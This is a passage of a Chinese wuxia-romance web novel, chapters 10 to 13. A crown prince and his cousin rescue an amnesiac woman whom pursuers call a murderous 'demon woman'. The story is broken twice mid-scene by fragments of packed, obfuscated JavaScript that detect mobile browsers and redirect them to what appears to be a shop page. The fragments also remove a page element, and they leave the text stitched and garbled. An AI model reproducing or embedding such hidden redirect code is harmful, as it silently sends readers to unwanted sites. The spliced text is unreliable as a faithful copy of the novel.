“若你想报答,便记住答应我的。” 胥璜心中万分挣扎。 她是被强按着磕的头,可这女人偏又全了师徒之实。 “其实不拜师,不传内力,我也会尽量帮你。” “所以,这师该拜。” 女人盯着她,声音冷冽:“因为我要的不是尽量,是一定!” “习武之人若心有亏欠,因果不了,心神不稳,迟早会走火入魔。” “你磕了头,拜了师,承了我的内力,喝了我的血,你我之间便有了因果。” 胥璜明白了。 她不仅是要她欠她,也要她不得不了却因果。 胥璜低头看着手中盒子,到底是多重要的东西值得她以命来算计。 “徒儿,会泅水吗?” 话题跳跃的太快,胥璜一时还没反应过来,便觉掌风迎面而来,耳边传来女人最后的声音。 “不会就自求多福吧。” 胥璜的身体不可控的往悬崖边飞去,女人的脸离她越来越远。 女人朝她轻轻笑着,是生命走到尽头的释然的笑,又好像,是对徒儿的祝福。 可明明,她们只有不到半个时辰的师徒缘分。 总之,女魔头最后留给她的是一抹温柔的笑容,明明与她女魔头的名号不符,却又并不违和。 以至于很多年后,胥璜想起这个笑容,都觉心中酸涩难言。 10.第 10 章 青山连绵不绝如黛色画卷,云雾朦胧似罩着一层轻纱,午后太阳照在密林,映射出斑驳光点。 密林深处有一方天然温泉,人迹罕至处少有人发现,可此时温泉半里之处却有一层层守卫,个个身姿挺拔,目如利箭。 百步之中,亦有乾坤。 大石之后神情冷峻的少年抱着长剑微微眯着眼;下游处一位橙衣少女坐靠着石头,赤着的玉足一晃一晃的点着水面。 所有人看似懒散,实则注意力都在温泉之中的人身上。 温泉冒着丝丝热气,水面波光粼粼,泡在温泉中的人沐在光雾中,墨发随意漂浮在水面,那张完美无缺的脸上隐约浮动着水汽,晃眼瞧去,竟不似这世间人。 他在这里,这片青山都好像染上了几分神性。 青山如黛人如仙,绝世画卷不过如此。 但... “糊了糊了,快翻。” 突兀的声音打破了这幅盛世丹青,将仙境拉回了俗世凡尘。 嗯,忘了说,岸边还有两位烤野鸡的少年。 说话的是身着锦衣的少年,少年年岁不大,皮肤细嫩,脸蛋微圆,还没有褪去婴儿肥,他直勾勾盯着香味扑鼻的野鸡,眼睛亮的出奇,说话间,颊边两个小酒窝显得他格外澄澈。 少年就好像是还未受过任何侵染的纯净泉水。 被指挥烤鸡的少年样貌俊朗,眉眼中透着这个年纪的不羁和散漫。 “哎呀,七杀,树枝要烧断了,换一根吧。” “鸡掉进去就弄脏了。” “烤鸡洗过的就不香了。” 被唤作七杀的少年被这样叽叽喳喳吵了快半个时辰,实在遭不住了,摸了摸耳朵:“兰世子,这只鸡很肥,吃起来会有些腻,不如您去唤廉贞摘些新鲜的果子吧。” 七杀口中的兰世子,名唤兰白樾,凤昭国玉京人,兰国公府嫡幼子,凤昭皇后是他的亲姑姑。 生在显赫世家的兰白樾,受尽家族宠爱,可谓是泡在蜜罐儿里长大,上有阿兄文武双全,袭承家业,阿姊饱读诗书,才名远扬,到了他这里...他读书怕苦,习武怕疼,干啥啥不行,养出了一副澄澈无暇,无忧无虑的性子。 不过,如果说投胎是门技术活的话,那他在这方面倒是天赋异禀。 兰白樾觉得七杀说的有道理,刚要探头去寻廉贞,靠着石头抱剑假寐的青年就已纵身消失在密林,一向话不多的人还不忘留下一句:“兰世子守着鸡就好,我去寻野果子。” 像是生怕兰白樾会追上去。 七杀盯着廉贞消失的方向咬牙切齿。 狗东西! 眼见兰白樾又要蹲回来,他忙道:“这里的鱼是纯野生的,味道很鲜美,世子不如去那边河里和陀罗抓几条鱼?” 兰白樾身子还没蹲下去,听到这话眼睛一亮:“当真?” 七杀笑容灿烂:“当真。” 兰白樾忙提着衣摆往河边蹦跶:“陀罗,陀罗,快帮我抓鱼。” 总算把世子爷送走了,七杀耳根子终于清净了。 但他还没松口气,世子爷又回来了。 手里提着一串死的不能再死的鱼。 “陀罗说一半炖汤,一半烤着吃。” 七杀紧紧盯着他手里的那串鱼,皮笑肉不笑:“怎么抓的?” 兰白樾:“不知道啊,我过去的时候陀罗就已经抓好了。” “哦对了,陀罗说表哥这两日不喜欢吃鱼,让我们两吃就行。” 七杀面容扭曲的望着这位不知人间险恶的世子,咬牙道:“您知道陀罗最擅长什么吗?” 兰白樾想也没想道:“用毒啊。” 七杀静静地看着兰白樾。 兰白樾眨眨眼,好一会儿才后知后觉的反应过来,惊道:“毒死的?” “怪不得说不要跟表哥吃。” “太过分了!” 兰白樾气的朝河边吼道:“陀罗!” 高昂的少年音惊的鸟雀四散。 七杀揉了揉耳朵,他迟早要给这兰世子震聋了! “再吵,把你烤了。” 就在兰白樾气势汹汹要去找陀罗算账时,突听一道如玉的声音传来,他忙停下脚步,朝温泉中望去:“表哥,你醒了。” 被兰白樾唤作表哥的便是凤昭太子,凤岐。 凤岐出生那年,凤昭天现异象,钦天监断言凤岐命带吉兆,恐乃天神下凡,能在凤昭危难之时力挽狂澜,凤昭陛下大喜,在其满月宴上便册封其为东宫太子,而此后几年凤昭果真是风调雨顺,无灾无祸。 凤昭百姓无不爱戴这位太子殿下。 但,能和兰白樾处得来的,又能好到哪里去? 若论宠爱尊贵,凤岐比兰白樾更甚,天潢贵胄,天命宠儿,他生来就是来享福的。 但作为东宫太子,他没法像兰白樾这样随心所欲,所以,他读书刚刚好,习武刚刚好,做什么都讲究个刚刚好,绝对不比别人优秀一点。 可即便如此,也深得陛下偏宠,臣民爱戴。 凤昭皇帝的原话是: ‘天下太平,盛世繁华,凤昭文有首辅,武有良将,不求太子多上进,只要他心术正,爱重臣民,听得了谏言,学不进去也罢,就把他当个吉祥物摆着’ 吉祥物,哦不,凤岐缓缓睁开眼,气压低沉:“你嚎如恶狼雄狮,进了棺材都能给你吓活过来。” “那我也不是故意的。”兰白樾立刻掉头三步并作两步的跑到温泉旁边告状:“是陀罗太过分了,她要给我吃毒死的鱼,表哥你要给我做主啊。” 四目隔着水雾相对,男子平静地眼眸中带着丝丝麻木。 他此行最后悔的事就是带上兰白樾这个又闹又吵的小废物。 “反正毒不死,也不影响口感。” 兰白樾瞪大眼:“表哥你怎么能这样说,陀罗的毒你又不是不知道,没有一个正常的。” 凤岐皮笑肉不笑:“再多说一句,我让她把你毒哑。” 兰白樾立刻捂住嘴,眼神控诉的瞪着凤岐。 世界终于安静了。 凤岐缓了会儿,才起身走到岸边穿上衣服,刚系上腰带时,突听不远处传来一声巨响。 几乎是同时,七杀与陀罗飞身跃至凤岐跟前,警惕的巡视着四周。 正在这时,廉贞回来了。 他抱着些野果子,禀报道:“主子,有人落水。” 兰白樾不敢置信:“落水?从哪里落?落在哪里?这么大动静?” 廉贞沉默了片刻,才一个一个的回答。 “附近有处深潭,上方是断崖,属下方才瞧见有人从崖上落下来。” 凤岐眉梢微动。 此处偏远,人迹罕至,怎会有人在这里落水? 兰白樾似是想到什么,惊呼了声:“我们来时不是看见山上有炊烟?该不会是住在山上的百姓砍柴时不慎跌下来了?” 兰白樾受命运偏爱,衣食无忧,不食人间烟火,他能知道山上住着百姓,百姓会山上砍柴,皆因此行沿途所见。 这大大勾起了世子爷的度世之心。 初次见到老翁砍柴,他抱着几锭金子要给人送去,被凤岐拦住,给他换成了碎银子。 之后沿路但凡见着类似情形,他都要化身散财童子。 当然,这也为他们引来不少祸端,只不过都被凤岐暗中解决了。 财神爷至今还不知他的善心引来过杀身之祸。 此时听到人落水,他又坐不住了。 “表哥,我们快去救人。” “主子...” 廉贞微微蹙眉看向凤岐。 以他之见,此事恐非寻常。 主子身份特殊,出门在外,还是谨慎些,多一事不如少一事。 “表哥...” 兰白樾拉了拉凤岐的衣袖,哀求之意露于言表。 凤岐无声叹了口气,面无表情看向廉贞。 “走吧,除非你这一路不想安生。” 原本想要相劝的七杀听得这话立刻闭了嘴。 要是不去瞧一眼,他们今天能被兰世子吵死。 廉贞陀罗也纷纷噤声。 随后,一行人护着凤岐往深潭走去。 好在隔的不远,不到小半刻一行人便到了深潭处。 深潭水面已恢复平静,瞧不出什么异样。 “人呢?” 兰白樾着急的四处望着。 凤岐淡淡看着无波无澜的水面。 人,自然是沉到了水底。 死了,才会浮上来。 若是水浅些,他或许也不介意让人去救一救,可眼前这潭已见黑色,危险至极,他不可能让自己的人冒着未知的险峻下谭救一个不知道死活也不知道好坏的人。 “应当已经自己爬起来了,回吧。” 凤岐说罢,便转身离开。 兰白樾紧皱着眉头:“是吗?” 他抬头望了望高崖,迟疑道:“这么高掉下来,能自己爬起来吗?” 凤岐见他不动,知道他没死心,遂停下脚步,淡声道:“此谭见黑,深不可测,危险至极,你若不放心,不若你点一个人,让他冒险去谭下看看那个人有没有爬起来?” 兰白樾一愣,目光挣扎地一一扫过廉贞七杀陀罗。 半晌后,他收回视线,声音低沉:“算了,回去吧。” 哪一个他都不舍得让他去冒这样的险。 凤岐见他如此,脸色稍缓。 这一路上他不将那些阴暗之事告知兰白樾,是因他认为有善心是好事,他会尽量保护他这份赤子之心,可若善良过了头,那就是害人害己。 好在,兰白樾还是有些分寸。 “人各有命,过多干涉会牵连自己的命数。” 凤岐见兰白樾脸上带着几分失落,徐徐道:“ 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不仅没死,还似乎在费力的扑腾求生。 凤岐:“...” 凤岐慢慢地抬头望向不见顶的山崖。 这都没死,命可真大。 “表哥...” 眼见那人像是没了力气,兰白樾急的拉住凤岐的衣袖,可是一想到凤岐方才说的话,他想救人的话又说不出口,虽然人是浮了上来,可这谭看着确实很危险。 凤岐淡淡看向七杀:“救人。” “是。” 兰白樾看了眼七杀,有些担忧:“可是,表哥,会不会有危险...” 话还没落,耳畔便有疾风掠过,他只觉眼前有人影一晃,再定睛瞧时,七杀已掠至那人身前,在人沉下去前一把捞起他的手臂,提着人飞身回来。 全程只鞋尖沾了些水。 兰白樾惊讶的张着唇:“...这也行。” 凤岐:“水下危险,水上,对于七杀来说,举手之劳。” 他的二十七星宿中,七杀的轻功无人能敌。 七杀本来打算随意将人放在地上,但在发现了什么后,改为揽住对方手臂,踌躇立着没动。 “是位姑娘!” 兰白樾回过神来,看了眼被七杀护在怀里的人,惊的瞪大眼。 人已经晕了过去,湿散着的头发盖住了半边脸,但还是不难看出这是位年轻的姑娘,且容色极好。 兰白樾微微皱着眉:“这么漂亮的姑娘也要砍柴吗,好可怜。” 凤岐:“...” 廉贞陀罗七杀:“...” 在山上除了砍柴就没有别的事要做了吗? 且这姑娘手臂上的伤口还在渗血,那伤口一看就是剑伤。 算了,跟兰白樾说不明白。 “陀罗。”凤岐:“给她换身衣裳,处理下伤口。” 他不喜欢多管闲事,但也不是多冷心冷情的人。 她既拼死求生,是她命不该绝,他搭把手也没多麻烦。 “是。” 陀罗上前从七杀手中接过人,拦腰抱起头也不回地走了。 “主子,该启程了,再耽搁今日怕是出不了山。” 廉贞沉声道。 凤岐嗯了声:“走吧。” 兰白樾知道人得救了,乖乖的跟在凤岐身后,一路无言。 大概还在想为何这么漂亮的姑娘要去山上砍柴。 凤岐上马车稍微等了会儿,陀罗才过来禀报。 “主子,这位姑娘身上的衣裳饰品都价值不菲,身上有刀伤和剑伤,有一处剑伤离致命处只有一寸,我已经给她用了药,但若不好生安置,恐有性命之危。” 兰白樾听的心惊不已:“啊?” “砍柴也这么危险?” 凤岐忍无可忍:“闭嘴。” 凤岐明白陀罗的意思,人若留在此处,多半是活不了的。 可他实在也不想给自己找麻烦。 凤岐沉默下来,突然衣袖动了动,他转头便对上兰白樾祈求的眼神:“表哥...” “要不就好人做到底...” 凤岐抬手揉了揉眉心,罢了。 “带她去兰世子的马车,出了山,寻个地方安置。” 陀罗毫不意外的应下:“是。” 有兰世子在,人是不可能被留在这里的。 兰白樾闻言喜道:“表哥大善。” 凤岐懒得与他多说,道:“启程。” 一行人浩浩荡荡的离开。 行驶了很远,密林中才缓缓走出一个人。 他盯着马车离去的方向,眼底露着几分忧色。 此计实在太冒险了。 11.第 11 章 凤岐没有早起的习惯,加上昨夜闹了那么一通,快到午时才醒,廉贞等人早就习以为常,熟练的备好午饭,收拾妥当已到未时。 按着惯例,这个时辰凤岐该要午憩了。 不过眼下满院子的血腥味,他也没了睡觉的心思,吩咐启程回京。 兰白樾昨夜被吓得狠了,今日的话少了许多,低着头亦步亦趋跟着凤岐,直到快走出驿站,他才突然想起什么,转头问陀罗:“那位姑娘呢?” 陀罗回道:“半个时辰前离开的院子。” 一旁驿丞闻言忙道:“那位姑娘来找过小人。” “找你作甚?” 兰白樾转过头道。 驿丞恭敬回道:“那位姑娘似乎忘了前尘往事,除了最基本的肢体记忆,对世间诸事都是一片空白,特意来询问了小人。” 说到这里他眼神微微闪躲了下。 “你同她说了什么?”陀罗捕捉到,冷声道。 驿丞慌忙跪下,颤颤巍巍道:“殿下恕罪,小人不知那位姑娘不知殿下身份,回话间说漏了嘴。” 昨儿他瞧着那位姑娘与殿下那般亲近,哪里晓得她竟不知道殿下身份。 人今儿来问他凡尘种种,他自是知无不言,正说上劲儿时,她突然问他‘殿下’是何意,他一时嘴快就同她解释了殿下的身份。 待人走后,他才后知后觉察觉到不对劲。 陀罗闻言转头看向凤岐道:“属下昨日试探过,那位姑娘记忆全失,不识得玄衣,确实不像知道殿下身份,神态间不似作假。” 兰白樾抬了抬眼皮子,不甚在意道:“昨日当着她的面一口一个殿下兰小公子,本就没想瞒她,知道了又何妨?” 凤岐对此确实不在意,但这个驿丞话实在是多过了头,遂真心给予忠告:“少说话,能活得久些。” 他不喜打打杀杀,自然不在乎这些小节,若换了京中那些人,昨夜院里恐怕就已经多了一具尸身。 驿丞知晓这是饶了他,忙不迭磕头谢恩。 目送马车缓缓走远,驿丞才敢伸手擦额上冷汗。 他在云亭伺候了不少贵人,太子殿下是身份最尊贵的那一位,却也是最温和的,否则他昨夜脑袋就保不住了。 素闻他们这位太子殿下庸碌无为,懒惰成性,但他瞧着这明明是心胸开阔,体恤百姓。 也不知是哪个不长眼的瞎传。 - 云亭驿站建立在山脚,之后一路宽阔平坦,少了颠簸,太阳又不知何时隐在了乌云之后,天光也随之黯淡下来,直叫人昏昏欲睡。 凤岐早已酣睡,兰白越却怎么也睡不着,他一闭眼脑海中就是昨夜被惊醒后看见的满院尸身血色,在昨夜之前,他只知晓路上偶尔会遇见刺客,每每这时七杀陀罗都会护着他和表哥先行,他并不知战斗凶险,也从不知夜里还常有刺客潜入。 每回他醒来虽隐约闻到些血腥味,但从来没在意过,也就更不知夜里有过一场恶战。 直到今晨他问起七杀才知,这样的事情屡见不鲜,不过是之前没有一惊一乍声音尖锐的云亭驿丞,他未曾被惊醒过。 在这之前,兰白樾从没见过杀戮。 也竟不知在他看不见的地方,表哥经历过怎样的险境。 先前几回在路上遇刺时,表哥每次都说是山匪,他深信不疑,直到此事后他才明白,哪有那么多的山匪,且还净追着他们杀,况且哪个山头的山匪会蠢到会潜入驿站刺杀。 他不是傻子,自然清楚那些人是冲着表哥来的。 至于为何不是他… 他不过是国公府的小废物,比起凤昭的吉祥物,显然后者的分量更重。 谁会浪费人力物力来刺杀他。 可是,会是谁呢。 谁会想要表哥的命。 兰白樾思索了良久,仍旧找不到头绪,思绪竟慢慢飘到了昨夜那位姑娘身上。 那是他见过除了表哥以外最好看的一张脸。 只是她显然没有表哥命好,没能投个好胎,如今落了崖还失了忆,也不知道她什么时候能想起来,能找到她的家人。 昨夜他本想留她,可表哥正在气头上又态度坚决,他不敢反驳。 突然,有水滴飘落在脸上,兰白樾还未反应过来,随行在他马车旁的七杀便开口道:“兰小公子,下雨了,先关上窗户。” “哦。” 兰白樾将窗户关上不久,雨水便争先恐后打在马车上,兰白樾不由又想到了那位姑娘。 也不知道她此时走到了哪里,会不会淋雨,她身上有伤,身边又没人照看,若再淋雨染了风寒,伤势恶化可怎么得了。 一个失去记忆还带着伤的柔弱姑娘,孤身一人在雨中行走,怎么想怎么不让人放心。 突然,马车停下了下来。 兰白樾心中一沉,莫不是又遇上刺客了? 他刚想出声询问,便隐约听见廉贞的声音,但大雨磅礴,他听不真切,只隐约捕捉到有人晕倒几个字。 兰白樾心中一跳,预感到什么,顾不得大雨赶紧打开窗户,问七杀:“怎么回事,快去看看谁晕倒了,在何处?” 七杀一听他这急切的语气便知他在想什么,正想说没有这么巧的事,便听廉贞的声音再次传来。 “殿下,是昨夜那位姑娘。” 七杀:“…” 还真这么巧? 这句话兰白樾听的真真的,不等七杀反应过来,他已经起身出了马车。 “兰小公子…” 七杀赶紧下马取来一把伞追上去:“兰小公子,此事过于巧合,恐有蹊跷。” 兰白樾此时哪里听得进去,一言不发的往前寻去,这边凤岐还未做决定,就听见了七杀的声音,他皱了皱眉:“怎么回事?” 廉贞看了眼疾行在大雨中的人,回道:“兰小公子下了马车。” 凤岐掀开车帘一角,果真瞧见兰白樾匆忙的背影,他轻嗤了声,缓缓放下车帘。 “叫陀罗过去看看。” “是。” 大雨倾盆,雨落到地上都能溅起高高的水花,纤弱单薄的姑娘躺在大雨中,生死不知,我见犹怜,兰白樾只看了一眼便迅速接过七杀手中的伞挡在她头顶。 “快看看她。” 他眼底只有楚楚可怜的姑娘,丝毫不觉自己身上已经湿透。 七杀欲言又止后,上前探了探鼻息。 “如何?”兰白樾急声道。 “还活着。” 七杀沉声道。 但若这么放任不管,不出一个时辰人就得凉。 “将她带到我的马车上。” 兰白樾不容置疑的吩咐。 七杀静默不动。 殿下没有命令之前,他不能擅自做主。 “这是一条性命,怎能见死不救!”兰白樾回过头厉声道。 恰在这时,陀罗撑着伞过来。 “兰小公子息怒,男女授受不清,姑娘又被大雨淋湿了,七杀怎么碰得?” 她说罢将伞递给七杀,弯腰抱起昏迷不醒的姑娘,朝兰白樾道:“男女有别,殿下吩咐,兰小公子与殿下同乘。” 不管今日是不是巧合,这位姑娘毕竟身份不明,断然不能放在兰小公子身边。 兰白樾没有多想,忙点头:“好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而这女子身份来历不明,若抱有目的接近他们,多半是冲着他来的。 “我带她回东宫。” 若是冲着他来的,就将人放在眼皮子底下看她所图为何,若真只是巧合,待她伤好,他自有办法悄无声息将她送出宫。 兰白樾大为震撼,一度以为自己听错了:“表哥愿意带她回东宫?” “不然呢?” 凤岐瞥了眼他:“或者将她随意托付出去,你觉得以她这般容色,除了自己人,放心托付给谁?” “表哥说的在理,那就将她带去东宫。” 兰白樾生怕凤岐反悔,赶紧道。 凤岐哼了声:“下不为例,再捡些阿猫阿狗回来,自己善后。” “好的表哥…” 兰白樾话音一顿,瞥了眼凤岐,低声辩解:“才不是阿猫阿狗,是位好看的姑娘。” “嗯?” “没事没事。”兰白樾立刻笑着道:“我说表哥心善。” 凤岐闭上眼没再开口,雨声助眠,兰白樾夜里受惊心神不稳没有睡好,这会儿救了人安定不少,很快便靠着车壁沉沉睡去。 凤岐缓缓睁开眼。 “让人去查。” 窗外,廉贞沉声应下:“是。” 只是还不待他们查到什么,雨中便来了不速之客。 “将妖女交出来!” 12.第 12 章 马车陡然停下,惊走了凤岐刚涌出的困意。 “怎么回事?” 很快,廉贞的声音自马车旁传进来:“殿下,有人拦路。” 凤岐脸上浮现几丝不耐。 都快到玉京城了,那几个竟还不肯放弃! “好像不是京中的人。”廉贞沉声道:“似乎是来找人的。” 找人? 找什么人找到他凤岐头上来了。 “打发了。” 凤岐复闭上了眼。 他希望他再睡一觉醒来已经在东宫了。 “将妖女交出来!” “我们无意与阁下为难,只请阁下交出妖女涂萤,此女诡计多端,阁下可莫要被她骗了。” 两道声音带着内力隔着大雨清晰的传入马车当中,彻底赶走了凤岐的睡意,也惊醒了兰白樾。 “怎么了?又有刺客?” 兰白樾飞快坐起身,满眼戒备道。 “妖女涂萤为祸武林,杀人如麻,请阁下务必将人交出来!” 兰白樾眼中还带着些许困意,迷瞪瞪问:“妖女?什么妖女?” “尚还不知。” 廉贞言罢就听七杀冷硬的声音传来:“我们不认识妖女。” “敢问阁下昨日可是救过一个女子?” 与七杀对峙的是一群穿着蓑衣的江湖人,领头的握着一把长剑,眼神锋利道。 七杀皱了皱眉头。 他们救过的也就那一位女子,他就说那女子身份不简单!仇家这么快就寻上门了! 这厢凤岐几人闻言也都沉默了下来。 好半晌,兰白樾才喃喃道:“他们口中的妖女,是那位姑娘?” “不可能吧。” “那位姑娘那般弱不禁风,貌若天仙,哪点和妖女二字沾边?” 凤岐微微抬起眼:“人不可貌相。” 兰白樾睡意彻底散去,有些着急道:“那…那怎么办?这些人明显来着不善,我们若将人交出去她肯定没有活路。” 凤岐诞生道:“没听人家说么,妖女!为祸武林,杀人如麻的妖女,你还敢救?” 兰白樾只迟疑了片刻就道:“我们好不容易才救下来的,再说了,这只是他们的一面之词,就算要交人,也得先将那位姑娘唤醒问清楚才行。” “若她真是恶人呢?” “要真是恶人…”兰白樾深吸一口气:“那我们便不再插手。” 凤岐冷哼了声,朝廉贞道:“让他们滚。” 他本也没打算交人。 虽然他不确定那姑娘是好人,但现在说话的这几个人让他很不喜。 他的直觉一向很准,能令他心生厌烦的人不多,光听声音就讨厌的更是没几个。 七杀等了几息,没等到交人的命令,心中便有了数,一句废话也懒得说:“烦请让道,否则别怪刀剑无眼。” “阁下这是要包庇妖女了!” 领头的人语气阴森道。 七杀笑意不达眼底:“包庇谈不上,但那又如何?” 这帮人不知是瞎了眼还是被大雨迷了眼,连殿下的车驾都敢拦。 且从殿下手里要人,疯了不成? “你!” 最前方左侧之人气的当即要拔刀,被身旁的人一把按住了刀柄,那人眼神阴沉,面上却维持着平静:“我乃郑家长子郑佑,妖女涂萤月前杀了我的父亲,杀父之仇,不共戴天,还望阁下莫要插手。” “我乃铁掌门黄擎,月前这妖女杀了我的父亲,今日我来为父报仇,烦请阁下行个方便。” 七杀眉头微凝。 杀父之仇?这女子怎如此麻烦! “你们都是来为父寻仇的?” 在一旁听了半晌的陀罗突然出声道。 “非也!” 领头之人端得一身正气:“我乃副盟主陈锌,月前,此妖女一连杀了五人,包括前任盟主徐炀,并夺走武林至宝,将武林搅的天翻地覆,今日我等便是来诛杀妖女,拿回至宝,正武林风气。” 七杀陀罗对视一眼,后者轻蔑一笑。 “原来,真正的目的在至宝啊。” “这听起来倒像是抢东西抢输了,迫不及待要给人泼一身脏水,要我说啊,技不如人就得认。” 陈锌面色一沉:“休得胡言!” “尔等如此为那妖女说话,莫不是一丘之貉!” 七杀脸色顿时沉了下来,握住马背上的刀:“你要找的人我们没见过,再啰嗦一句,杀无赦。” 黄擎气的又要拔刀,再次被郑佑拦住,他冷冷盯着七杀:“妖女给了你们什么好处?” 不等七杀开口,廉贞的声音便传来:“我们昨夜确实救过一个姑娘,但今晨她已离开了驿站,你们若是不信,尽可去查。” 黄擎自是不信,刚要质疑,就见廉贞拿出一块腰牌:“烦请让路。” 隔着大雨看不真切,黄擎下意识要上前,再次被郑佑拉了回来。 他咬咬牙,拱手道:“复仇心切,无意惊扰贵驾。” 说罢,他不由分说扯着黄擎让路。 黄擎忍无可忍:“你干什么!三番五次拦我作甚!你到底在怕什么,那妖女肯定在马车里!” “闭嘴。” 郑佑轻声斥道。 黄擎气的脸色铁青,甩袖冷哼了声。 其他人见状看向陈锌,陈锌沉凝片刻,让至路边,其他人这才纷纷让行。 七杀冷冷瞥了眼几人,拉起缰绳:“驾!” 马车从面前缓缓驶过,几人并不知晓他们要找的人和自己擦肩而过。 待车队消失在雨中,黄擎气道:“你到底在干什么,为什么要放他们走!我们这么多人还怕了他们不成!” 另外几人也都皱眉看向郑佑。 陈锌淡淡盯着郑佑:“你是不是发现了什么?” 郑佑盯着车队消失的方向,语气阴沉:“诸位应当知晓,郑家擅毒,但在方才那位姑娘面前,是小巫见大巫。” 黄擎一愣:“真这么厉害?” 陈锌冷声道:“那女子如何厉害我不知,但那个张狂的少年与手持令牌的人确实是难得一见的高手。” 正因如此,他才会顺着郑佑的意思让行。 “不仅如此,那人手中的令牌乃是宫中的。”郑佑道。 此话一出,众人脸色皆变。 江湖朝廷一向井水不犯河水,若非必要,江湖人绝不敢得罪朝廷的人。 陈锌皱眉道:“可知马车里的是谁?” “不确定。” 郑佑摇头:“我只偶然间见过宫中令牌,瞧这阵仗,必定不是小人物。” 都牵扯到宫中了,哪里会有小人物。 陈锌沉默半晌后:“走!” “我们就这么回去了吗?”黄擎不甘心道。 “蠢货。” 陈锌骂道:“没听那人说,妖女今晨孤身离开了驿站,她受了重伤跑不远,兵分几路,沿路搜寻!” 黄擎疾步跟上去:“万一他们说谎呢。” “就算他们说谎,你还敢去拦不成?”陈锌没好气道。 眼下只能信他们。 若人当真在他们手里,只能从长计议。 - 一切重归于静,凤岐终于安心地闭上了眼,但,太安静了。 安静的过了头。 凤岐无声一叹,睁眼看向神游的兰白樾。 “还在想该不该救?” 兰白樾闻言看向凤岐,面上满是挣扎与怀疑,半晌后缓缓点头:“嗯。” “表哥…你说,她万一真的是恶贯满盈的坏人,我救她,岂不是会给表哥惹来祸患。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16482453|184600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >凤岐眼里闪过一丝意外:“不错,会反思了?” 兰白樾:“表哥!我认真的!” “行,知道你认真的。” 凤岐换了个姿势,懒散道:“ 在京中,能养出你这般澄澈良善的性子,极其少见。” 兰白樾怀疑的看向他:“表哥你是不是在骂我?” “我在夸你。” 凤岐轻笑:“认真的。” “天子脚下,谁不是长满了心眼子,一句话都能琢磨出千万个意思来,算计的久了,难免忘了初心,没了真情,忽略了人性。” 兰白樾语气低沉:“可是,万一她真是杀人如麻的妖女……” 凤岐盯着他:“我且问你,大夫救人有没有错?” “没有。” “如果大夫救人时不知道对方是恶人,他又有没有错?” 兰白樾又摇头:“大夫医者仁心,没有错。” “那就对了。”凤岐:“你见姑娘晕倒在大雨中,心生怜悯是人之常情,救她是因为你心地善良,你又何错之有?” “况且在绝命潭时,你也没有为了救人要让七杀他们去冒险,而现在,你又能够及时反省,已算通透,又何必对自己过多苛责。” 凤岐沉默片刻,继续道: “若这世间每个人都冷心冷情,权衡利弊,见死不救,这样的人世岂不是太过可悲?” 况且有这样的人在身边,才看得见人间尚有真情,也能时提醒自己莫要踏入深渊。 “你要记住,善良本身并不是错,错的是不辨是非的善良,错的是居心叵测的人。 兰白樾陷入了沉思。 许久后,那双眼睛才又重现光芒,盯着凤岐道:“那表哥,你觉得她真的是杀人如麻的妖女吗?” 凤岐反问:“你认为呢?” 兰白樾想了想,摇头:“我觉得她不是。” “何以见得?” 兰白樾语气轻快道:“她的眼睛很明亮,身上散发的气息很亲和,我感受不到恶意,所以我觉得她不是坏人。” “再说了,便是给人判罪也得听双方辩证,不能偏信一面之词。” “嗯,不错。” 凤岐赞同:“出来一趟,长进不少。” 兰白樾难得被凤岐真心夸赞,若是身后有尾巴,怕是已经翘到天上去了。 “真的吗,真的吗,都是表哥教的好。” “那表哥呢,表哥觉得她是坏人吗?” 凤岐:“我与你想法一致,但这并不是我留她的理由。” “那是什么?” 凤岐抬了抬眸,淡淡道:“你忘了,陀螺说过,她体内有一股强大的力量,但不能动用分毫,一旦动了内力便会筋脉尽毁而亡。” “总而言之,就算我直觉有误,她当真是个十恶不赦的妖女,眼下也只是个废物,你执意要救,顺你的意又何妨?” “于我而言,我能承担试错的后果。” 兰白樾眨眨眼。 好半天他才回过味来。 “我好像明白了。” “可表哥为何一开始不同我说这些?” “我那时同你说你听得进去?”凤岐瞥他一眼:“千句万句不如亲身体会。” 兰白樾灿烂一笑:“表哥说的对。” “表哥你要吃葡萄吗,我给你剥。” “不吃。” “表哥你要喝茶吗,我给你煮茶吧。” “闭嘴。” “哦,好吧。” 马车外,廉贞将所有对话尽收耳中。 兰小公子身份尊贵,不谙世事,受万人追捧讨好,至今没有勋贵子弟的任何陋习,不是身边没有狐朋狗友,而是因为每次殿下都能及时将人拉回正道。 而且这些年若殿下身边没有兰小公子,也不知道殿下如今会是怎样脾性。 13.第 13 章 凤昭承安四年,顺王凤贠发动兵乱。 那一年,凤岐三岁。 那夜宫中处处都是喊杀声,尸横遍野,血流成河,云亭驿站的鲜血与那夜相比,不过只是冰山一角。 小凤岐被皇后暗卫护着退至玉坤殿,路上他眼睁睁看着一个又一个熟悉的面孔在血泊中,鲜血喷溅的到处都是,他麻木的被拉着跨过一具又一具死相凄惨的尸体。 玉坤殿中,皇后愤声质问凤贠。 “陛下待你不薄,为何要谋反?” “不薄?给我一块封地将我打发出京便算待我不薄?” 凤贠已是杀红了眼,面容狰狞的吼道:“什么又叫谋反,我才是元后嫡出,如何轮得到他凤曌坐上轮椅!” “可陛下是奉旨登基!” 皇后厉声道:“你起兵逼宫就是谋反,靠谋反得到的皇位岂能长久?” “够了!” 凤贠双眼充血,怒吼道:“到现在你还要为他说话!别忘了,你本该是我的正妃,是他凤九曌横刀夺爱!” 凤贠边说边缓缓靠近皇后,放低声音:“阿隐,你别怕,待我杀了这个孽种,坐上皇位,你仍旧是凤昭的皇后,他凤曌能给你的,我也能给。” “疯子,真是疯子!”皇后将凤岐紧紧护在怀里:“你要杀岐儿,就从我尸体上踏过去!” 